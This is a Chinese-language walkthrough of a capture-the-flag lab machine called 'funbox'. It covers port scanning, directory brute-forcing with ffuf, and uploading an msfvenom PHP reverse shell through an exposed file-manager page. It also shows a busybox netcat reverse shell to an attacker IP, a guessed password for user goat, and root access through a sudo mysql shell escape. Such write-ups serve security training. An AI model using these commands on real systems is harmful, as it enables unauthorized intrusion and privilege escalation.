先來看看這臺主機上面開了什麼樣子的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.239.132 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.239.132 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.239.132 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.239.132 -type recon;
這臺主機很單純只有 2 個服務開啟,一個是SSH一個是 web server
因為我們其實沒有帳號密碼可以直接做 SSH 登入,所以這邊我們就會先從web開始看
第一步,先找找看 roborts 裡面有甚麼
在 http://funbox/robots.txt 裡面藏了一個路徑叫做 enum_this_box
很顯然的,這一個檔案名稱叫我們去 "enum" the box ,那應該是有隱藏的檔案我們還沒有發現
這邊我習慣用 FFUF來做路徑爆破
在 kali 下面有很多路徑爆破的字典檔,我把這一些我常用的集合在一起產生了一個叫做 combined_dir_wordlist.txt 的檔案
ffuf -w ~/Arsenal/Wordlists/combined_dir_wordlist.txt -u http://funbox/FUZZ -e ,.pdf,.config,.php,.txt,.html,.zip -fs 271
在一陣掃描以後,我們發現了一個叫做 mini.php 的頁面
這個頁面其實就是一個 shell 頁面,他會把當前目錄所有的檔案全部列出來
而且他還允許你上傳檔案,是不是很貼心? 那我們就來上傳一個 Reverse Shell 好了
http://funbox/mini.php
msfvenom -p php/reverse_php LHOST=192.168.45.197 LPORT=443 -f raw -o rShell.php
剛剛上傳以後,它是無法直接執行的
這一個頁面它提供了我們 change mode 的功能,只是這邊有一點小技巧要注意!
雖然畫面顯示的是 777 的權限,但事實上在這邊輸入的時候要用 511
他這一個服務會自動轉換十進位成八進位
確認更改權限成功後,我們終於可以執行我們的shell了! (要記得先開啟監聽唷!)
雖然這一個PHP的 shell 可以被開啟,但它其實不是很穩定,所以我們用 busybox 開了第 2 個 shell
busybox nc 192.168.45.197 80 -e /bin/bash
升級成 PTY shell 會更好用
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=linux; alias ll='clear;ls -alhst --color=auto'
可以拿第一個 flag 了
拿到靶機的 initial foodhold 以後,第一件事情就是看看能不能成為一個真實使用者
所以我們到了 /etc/passwd 裡面去收集使用者資料,然後試試看能不能轉換身份
這題以這樣的思路下去解,很快就可以拿到 goat 的身份
su goat
goat
接著就是看看這個使用者可以執行什麼樣子的 root 權限
sudo -l
看來他可以用 root 身份執行 mysql
那就上 GTFObins 上面去找 mysql 可以提權的語法 https://gtfobins.github.io/gtfobins/mysql/#sudo
順利提權,打完收工!
sudo -u root mysql -e '\! /bin/sh'